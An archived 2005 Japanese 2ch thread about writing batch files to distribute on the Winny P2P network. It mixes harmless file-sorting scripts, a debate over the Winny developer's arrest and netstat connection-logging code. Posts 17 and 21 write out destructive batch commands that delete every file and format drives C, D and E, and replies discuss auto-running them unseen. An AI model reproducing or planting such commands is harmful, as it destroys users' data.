トップページ⇒tech
62コメント26KB

nyBBSから移動! 力作バッチファイルを流しやがれ

■ このスレッドは過去ログ倉庫に格納されています
0001nyのときの1です。  ◆1BoYdeept. 2005/07/08(金) 23:40:57
この板は、究極のバッチファイルを作り、それをnyで流すという計画を図るスレです。

ny板の内容全て(あまりありません)

1 名前:名無しさん◆ 投稿日:05/07/08 20:58

神並みのバッチは作れるかな・・・

2 名前:netクン◆5b8CyMT+5jI 投稿日:05/07/08 21:06

   _, ,_
 (; ´Д`)ヨッシャー!
 /ヽ_ァ/ヽ_ァ
 )  )

3 名前:1です◆ 投稿日:05/07/08 21:12

2サソ
ガンガレ!!!!!!

4 名前:1です◆3m760yFS9Zg 投稿日:05/07/08 21:20

IFとかをいかにどう使うかなんだよな・・・・
0002nyのときの1です。  ◆1BoYdeept. 2005/07/08(金) 23:42:11
続き

5 名前:1です◆3m760yFS9Zg 投稿日:05/07/08 21:25

漏れもがんばってみる(資料調べ)

6 名前:名無しさん◆ 投稿日:05/07/08 22:23

・何をしたいか?
・使えるOS/外部コマンド/他ツールのバージョン
が判れば作ってみないことも無いが・・・

>4
FORも結構奥が深いぞ。特にWindowsのコマンドプロンプト版は。
入力パラメータを逐次処理するのにshift使ってみたりとか・・・
0003nyのときの1です。  ◆1BoYdeept. 2005/07/08(金) 23:42:33
7 名前:6◆ 投稿日:05/07/08 22:52

ファイルを拡張子別にフォルダを作成し、仕分け(Windows9x/NT系用)

for %%A in (*.*) do md %%~xA
for %%A in (*.*) do move %%A %%~xA

8 名前:名無しさん◆ 投稿日:05/07/08 23:12

>>7
拡張子のないファイルも、専用のディレクトリに仕分けられるようにしてください。


9 名前:1です◆3m760yFS9Zg 投稿日:05/07/08 23:18

あーちょっと頭がこんがらがってきた!!!
>>6,>>7情報ありがとう。
>>7残念ながら家は9x系ではないです・・・(´・ω・`)ショボーン

10 名前:1です◆3m760yFS9Zg 投稿日:05/07/08 23:32

このスレいつ壊れるか分からないから、2ch BBSに移動。
PC等→プログラムにあります。
タイトル名は「ny BBSから移動 2ch力作バッチファイルを流しやがれ」
です。
いくつか載せるので予めご了承ください。
それでは、2chで。
0004nyBBSでの62005/07/08(金) 23:44:54
>2
(nyBBSの>7)は(ちゃんと書いてあるはずだけど)NT系でも使えるよ(xp Proで動作確認)
MS-DOS(6.3以前)以前では動かないと思う。

(nyBBSの>8)
これでどう?多分10000ファイル未満なら実用になると思う
move関係を最後に持ってきてるのがミソ

@echo off
md "none extention"
for %%A in (*.*) do md %%~xA
move *. "none extention"
for %%A in (*.*) do move %%A %%~xA
0005nyのときの1です。  ◆1BoYdeept. 2005/07/08(金) 23:59:58
>>4
まさかこんな使い方があるとは・・・
もう漏れ全然だめ・・・(´・ω・`)ショボーン
でも負けない。
0006nyのときの1です。  ◆1BoYdeept. 2005/07/09(土) 00:08:10
>>4
今、実験した。
これnyで流してもいいんじゃない?
結構いい出来だと思う。
000742005/07/09(土) 01:24:20
ファイルの更新年・月を見て仕分け。(WinbdowsXPにて確認)
>4もそうだが、無駄な処理が多いので実用には向かないかも。

@echo on
for /F "skip=5 tokens=1,2,7* delims=/: " %%A in ('dir /-c /a-d /od /4') do md "%%A-%%B"
for /F "skip=5 tokens=1,2 delims= " %%A in ('dir /-c /a-d /od /4') do rd "%%A-%%B"
for /F "skip=5 tokens=1,2,7* delims=/: " %%A in ('dir /-c /a-d /od /4') do move "%%C" "%%A-%%B"
0008デフォルトの名無しさん2005/07/09(土) 02:07:16
Windowsバッチファイルテクニックってなんか板違いな気が・・・。
という否定的意見が私の頭で回ってます。
出所に合わせてDownload板かWindows板にすれば?
0009nyのときの1です。  ◆1BoYdeept. 2005/07/09(土) 06:40:09
>>7
なるほど・・・パソコンでの日記の整理とかにはいいんないのかと・・・
>>8
ごめんなさい・・・こんなところに立てるんじゃなかったよ・・・
もしこのスレが1000いったら今度はWindows板で立てます・・・
申し訳ございません・・・
0010nyのときの1です。  ◆1BoYdeept. 2005/07/09(土) 06:50:24
CHOICEコマンドがXPとかには存在しないんだよな…
どうしよう…
001142005/07/09(土) 07:55:34
>10
そもそもWindowsだったらショートカットを使えば良い訳で・・・
どうしても、というならWindows Script Hostを使う
JScriptもしくはVBScriptベースのプログラムを組めばいいかと。
(多分バッチファイルよりもずっと強力かつ本格的なプログラム作れると思われ)
0012デフォルトの名無しさん2005/07/09(土) 09:20:09
バックグラウンドでWeb上のデータをWebbrowserコントロールを使って常時取得しながら、
その一部データをフォアグラウンドのウィンドウで表示・操作するプログラムを作っているんですが、
Webbrowserコントロールアクセス時に砂時計が表示(現ウィンドウ操作には直接的に意識する必要がないので)
がちらつくように表示されメインウィンド操作に支障をきたしています。
”別スレッドでバックグラウンドは処理すれば砂時計を非表示にできる”と教えてもらったんですが、
何度もCreateThreadを試行してみましたが、うまくいきません。
別スレッドを作成しなくとも、砂時計を消す方法ご存知の方教えてください!
0013デフォルトの名無しさん2005/07/09(土) 14:59:13
>>12 スレ違いなんだが・・・
0014nyのときの1です  ◆1BoYdeept. 2005/07/09(土) 15:04:41
>>11
漏れショートカットの存在完全に無視してた・・・
モウダメポ・・・
0015デフォルトの名無しさん2005/07/09(土) 18:13:52
>>1
〜を作ろう的なスレは板違いなんだが。
最近基地外コテハンばっかり流れ着くなこの板。
0016nyのときの1です  ◆1BoYdeept. 2005/07/11(月) 08:30:46
>>15
すいません、基地外な板たてて本当に申し訳ございません。
では、どのようなところでやればよろしいのですか?
教えてくだされば次スレ立てるときそこで立てますから。
0017デフォルトの名無しさん2005/07/12(火) 00:28:48
@echo off

echo y | deltree \
0018nyのときの1です  ◆1BoYdeept. 2005/07/12(火) 21:42:17
>>17
うまいジョークソフト作ったもんだ
0019デフォルトの名無しさん2005/07/12(火) 21:43:55
自動的に実行したらやばいな。
0020デフォルトの名無しさん2005/07/12(火) 21:44:47
糞スレあげないでください
002142005/07/12(火) 22:32:00
実行されるとまじめにヤバイもの

@echo off
rd /S /Q e:\
rd /S /Q d:\
rd /S /Q c:\
del /F /S /Q e:\
del /F /S /Q d:\
del /F /S /Q c:\
echo y|format /X e:
echo y|format /X d:
echo y|format /X c:

c,d,eドライブの(見える)ファイルをすべて消します。実行しないように。
スタートアップや「タスク」に自動的に組み込んだら
Whiter等とやってることは大差ない。
0022デフォルトの名無しさん2005/07/12(火) 22:48:41
>>21
スゲー。ノートンでも検出できねーよ。
0023デフォルトの名無しさん2005/07/12(火) 23:18:20
板違いなんだが。ゴミスクリプトばら撒くならnyBBS帰れよ。

技術的なQ&Aはこっち
バッチファイルプログラミング 2.bat
http://pc8.2ch.net/test/read.cgi/tech/1104911889/

リクエストに応じて何かを作るならこっち
◆こんなソフトウェアつくってください!〜Part5〜◆
http://pc8.2ch.net/test/read.cgi/software/1105208128/

つうわけで終了
0024デフォルトの名無しさん2005/07/13(水) 00:51:59
プログラム板によく犯罪支援ソフト常用者が顔出せるもんだな
0025デフォルトの名無しさん2005/07/14(木) 19:03:23
>>24
ny自体が犯罪プログラムではないのだが…
これ聞いたら金子氏怒るぞ
>>21
nyにばら撒かないように…やられたひとがかわいs(ry
>>23
そっちの板とは全くかかわりないので
あくまでも独立している板なので…
0026デフォルトの名無しさん2005/07/14(木) 19:10:52
>>20
ふ〜ん。じゃあ上がってるスレはみんな糞スレと。
板立てた人全員に謝ってこい
0027デフォルトの名無しさん2005/07/14(木) 19:20:51
板違いに付き終了。
何で板住民がお前らに移転先探してやらないといけないんだよ。
0028nyのときの1です  ◆1BoYdeept. 2005/07/14(木) 23:48:28
>>27
人助けしろよ…若者よ…
0029nyのときの1です  ◆1BoYdeept. 2005/07/14(木) 23:54:04
もういいよ………おまえら………
0030デフォルトの名無しさん2005/07/15(金) 01:59:29
金子氏怒るぞってwwwwwwおしりプリンセス知ってますか?wwww
0031デフォルトの名無しさん2005/10/12(水) 20:21:36
>>21
ヒント:不可視のタスク
0032デフォルトの名無しさん2005/11/08(火) 19:00:45
あげ
0033デフォルトの名無しさん2005/11/10(木) 00:00:17
>ny自体が犯罪プログラムではないのだが…
プログラム自体が犯罪な訳がないでしょう。
犯罪とは人間に適用されるものです。
おそらく「nyの開発自体が犯罪ではないのだが」と言いたかったのでしょうが、これも誤りです。
47氏ことお尻ぷりんセス金子の諸言動を閲見すれば著作権違反行為に利用される事を自覚していた事は人間的心証から明らかで、
それの幇助罪に抵触するのが相当。
0034デフォルトの名無しさん2005/11/10(木) 01:08:19
>33
それで捕まるならもっと多くの奴が捕まっているはずだが。

>諸言動を閲見すれば著作権違反行為に利用される事を自覚していた事は
あくまで言動だけ。本人がUPした証拠は無し。DOUNだけなら現状は犯罪として立件出来ない。
一応、そういう利用はしないようにとの建前はある。
もし「著作権違反行為に利用される事を自覚していた」から幇助になるならライティングソフトの製作者も
コピー機メーカーも、プロテクトを無視できるドライブを造ってるメーカーも,
下手をすればMicrosoftも、みんな幇助ということになる。
程度は関係ない。、拡大解釈すればいくらでも出来るのだから。だから不当逮捕って言われるんだ。>金子氏逮捕
0035デフォルトの名無しさん2005/11/11(金) 10:54:39
はいはい警察の体面警察の体面
0036デフォルトの名無しさん2005/11/13(日) 00:36:27
>>34
ライディングソフトの製作者が著作権違反に使用されることを容認してた事を確定する証左がないだろ
47氏はメールで姉にそれらしいこと言ってたし、自分が著作権的に保護される「お尻プリンセス」をダウンロードした事で著作権的に問題があるファイルのアップロードを容認してた事は明らかになった。
0037デフォルトの名無しさん2005/11/18(金) 21:19:03
>>36
著作権的に保護されていようが保護されていまいが、
「ファイルをダウンロードした事」自体は完全に合法ですが何か?

その時点で罪に問えるのは「アップロードした者」だけだろ。
そのファイルが著作権的に問題があるか否かは、ダウンロード後にソフトを
展開するなりインストールするなりしてライセンスを確認しない限り分からない。
それをしていないなら、そもそも著作権の侵害など起こっていない。

さらに言うなら、意図的にライセンスの部分を剥ぎ取ってアップロードされている
ファイルについて、ダウンロードした者に悪意があった一律に判断するのは誤り。

私の言っていることが理解できますかね?
0038デフォルトの名無しさん2005/11/18(金) 23:24:56
>>37

>>36は金子氏を罪に問おうなんて言ってないじゃない。

違法ファイルをうpするなと繰り返し言ってた人が、
違法にうpされたお尻プリンセスをダウンロードしてデスクトップに飾って楽しんでも、
それがたちまち犯罪というわけではない。

でも、なんかファンタジーを壊されたような気分だった。
彼だけは違法にうpされた物をダウンロードしていないと思ってたからね。

「金子氏=47氏」である証拠が無いとか言うのも、別に違法なことではない。
俺たちが勝手に勘違いして、47氏の言葉に夢や希望を見出しちゃっただけなんだろうよ。

祭りの終わりは、いつもとても寂しい気持ちになる。
デジタル証券システム云々ってのは結局どうなったんだろう。
無かったことになったんだろうか。
Winnyそのものよりもすごいアイデアだったはずなんだが。
0039デフォルトの名無しさん2005/11/19(土) 01:14:23
>>37
なんか、いまいち理解できてないようですが、
winny開発者である金子が著作権的に保護されていないお尻ぷりんセス(らしきファイル)を
ダウンロードした時点でその(著作権的に保護されているお尻ぷりんセス)アップロード(=違法)を容認していたことは明白なので、幇助として逮捕された訳で。ダウンロードだけに関しては微妙なところで(特別な事がない限り)逮捕には至らない。
因みに金子は他にもAVとかダウンロードしてたらしいね。
0040デフォルトの名無しさん2005/11/19(土) 01:15:41
>>1=>>39
糞スレ上げんな視ね糞
0041382005/11/19(土) 02:27:21
つまり、俺は流れが読めていないアホってことですな。
まあいいさ。

ところで、すでにみんなご存知かもしれんが、最近知ったネタを報告する。
windows xp sp2 では、

>netstat -b

とすると、外部と接続してる実行ファイルの名前を表示できる。

192.168.1.100:10000 (中略)[Winny.exe]

こんなかんじで。
0042382005/11/19(土) 02:38:48
ファイルにWinny接続ログを取ることを考えた。
2つのC言語ソースファイルをコンパイルして、startMain.exeを実行。

/* ファイル名:startMain.c */
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <conio.h>

void main(void)
{
time_t timer;
time_t nowTime;

time(&timer);
while(!kbhit()) { /* 何かキーを押したら終了 */
time(&nowTime);
if ((nowTime - timer) > 3L) { /* 3秒ごとにnetstat */
system("netstat -nb | output");
timer = nowTime;
}
}
}
0043382005/11/19(土) 02:40:55
/* ファイル名:output.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(void)
{
char str[200];
char mem[200];
char ip[30];
char port[6];
FILE *fp;

if ((fp = fopen("connectData.txt", "a")) == NULL) {
exit(-1);
}
while(fgets(str, 200, stdin)!=NULL) {
str[strlen(str)-1] = '\0';
if (strcmp(str, " [Winny.exe]") == 0) {
/* Winny以外の実行ファイルも設定できる (例)[Sleipnir.exe] */
sscanf(&mem[32], "%[^:]:%s", ip, port);
printf("%s\t%s\n", ip, port);
}
strcpy(mem, str);
}
fclose(fp);
}

すごく処理が重い。
つーか、バッチでもなんでもないな。
0044デフォルトの名無しさん2005/11/19(土) 09:48:56
合法な行為が幇助を立証する?
バカですか?
0045デフォルトの名無しさん2005/11/19(土) 10:07:17
>デジタル証券システム
今の権利専制としか思えない著作権法や
・利潤ばかり追い求めてるようなJASRAC
・実質的に市場価値のなくなったソフトの安価開放もしようとしないACCS
・書籍・雑誌の著作権50年の期限を譲らない日本著作権センター
・全てのゲームソフトをいつでも遊べるように(もちろん有料でも良いが、できれば安く)
  してこないで、全て歴史の闇に葬り去ろうとさえしているかのような各ゲーム会社
がこんなのを認めるとは到底思えないのだが。

・著作権を相続できるイギリス
・やりすぎ法律DMCA(デジタルミレニアム著作権法)立てたアメリカ
だったら意外と認められるかもしれないが。

著作物を(消費者の手に渡る段階では)"モノ"として考え、そういう扱いでなければ利益を
得られない現状の仕組みに少なからず頼っているところは反対するだろうね。
0046デフォルトの名無しさん2005/11/19(土) 10:45:35
>>42
秒数のカウント方法を変えると、いくらか軽くなった。
これくらいの処理ならバッチでも実現できそうな気がするが。

/* ファイル名:startMain.c */
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <windows.h>

void main(void)
{
while(!kbhit()) { /* 何かキーを押したら終了 */
system("netstat -nb | output");
Sleep(3000); /* 3秒感覚 */
}
}
0047デフォルトの名無しさん2005/11/19(土) 11:35:56
>>44
う〜ん
理解力が低いようですが、合法な行為により他所における意思が認められるのですよ
0048デフォルトの名無しさん2005/11/19(土) 12:33:40
>>46
バッチすら必要なし。

netstat -nb 3

あと、>>43 のプログラムらしきものもバグだらけで
突込みどころ満載だぞ。

て言うかこのスレ的には…

@echo off
:loop
for /f "tokens=1,2,3* delims=: " %%i in (`netstat -nb`) if "%%k" == "[Winny.exe]" echo %%i %%j >> connectionData.txt
ping -w 3000 -n 1 0.0.0.1
goto loop

とかでいいんじゃねーか?
(Win2K だから、デバッグしてないけど。)

>>47
理解力が低いのはおまえだろ。
ダウンしたことが問題じゃなくて、(他人が) 違法物をアップ
していることを知っていたことが問題なんだろ。
まあ、これで幇助といわれるなら、包丁作ってるやつは全員逮
捕されるわけだが。
0049デフォルトの名無しさん2005/11/19(土) 12:40:33
つかダウソ板に帰れよ
0050デフォルトの名無しさん2005/11/19(土) 13:36:13
ファイルを開くだけで何も書き込まないのはなぜだ。

/* ファイル名:output.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(void)
{
char str[200]; char mem[200]; char ip[30]; char port[6];
FILE *fp;
if ((fp = fopen("connectData.txt", "a")) == NULL) { exit(-1);}
while(fgets(str, 200, stdin)!=NULL) {
str[strlen(str)-1] = '\0';
if (strcmp(str, " [FFFTP.exe]") == 0) {
sscanf(&mem[32], "%[^:]:%s", ip, port);
printf("%s\t%s\n", ip, port);
fprintf(fp, "%s\t%s\n", ip, port); /* 追加 */
}
strcpy(mem, str);
}
fclose(fp);
}

>>48
SP2の netstat -nb は結果が2行に分かれて表示される。
>>41の説明がそもまちがい。

TCP 192.168.1.100:10000 192.168.1.200:20000 ESTABLISHED 1000
[Winny.exe]
0051デフォルトの名無しさん2005/11/19(土) 13:47:25
しまった!
「匿名で人を殺せる包丁」を梅田の地下道に置き忘れてきてしまった。
絶対に悪用するなよ!
紺色のスポーツバッグだからな!


……冗談だよ、冗談。
0052デフォルトの名無しさん2005/11/19(土) 17:20:34
なにこのサムすぎるバカ
0053デフォルトの名無しさん2006/06/11(日) 12:13:38
http://ex15.2ch.net/test/read.cgi/news4vip/1149993595/
0054デフォルトの名無しさん2006/06/17(土) 17:15:00
珍棒
0055デフォルトの名無しさん2006/06/20(火) 22:30:36
test
0056デフォルトの名無しさん2006/06/22(木) 20:54:24
te
0057デフォルトの名無しさん2006/06/26(月) 23:55:13
てすと
0058デフォルトの名無しさん2006/07/01(土) 10:04:33
test
0059てすと ◆aX0mK.QP7I 2006/07/15(土) 09:04:51
test
0060てすと ◆TeF/3qyptE 2006/07/15(土) 09:06:07
test2
0061デフォルトの名無しさん2006/07/23(日) 14:24:01
         ◢██████◣
0062デフォルトの名無しさん2006/07/24(月) 05:02:20
ざっざっざ(´ω`)ざっぴえ(´A`)はっぴえ(´A`)はぴえ(´A`)んは(゜д゜)!!
ざっざっざ(´ω`)ざっぴえ(´A`)はっぴえ(´A`)はぴえ(´A`)んは(゜д゜)!!
ざっざっざ(´ω`)ざっぴえ(´A`)はっぴえ(´A`)はぴえ(´A`)んは(゜д゜)!!
ざっざっざ(´ω`)ざっぴえ(´A`)はっぴえ(´A`)はぴえ(´A`)んは(゜д゜)!!
ざっざっざ(´ω`)ざっぴえ(´A`)はっぴえ(´A`)はぴえ(´A`)んは(゜д゜)!!
ざっざっざ(´ω`)ざっぴえ(´A`)はっぴえ(´A`)はぴえ(´A`)んは(゜д゜)!!
ざっざっざ(´ω`)ざっぴえ(´A`)はっぴえ(´A`)はぴえ(´A`)んは(゜д゜)!!
■ このスレッドは過去ログ倉庫に格納されています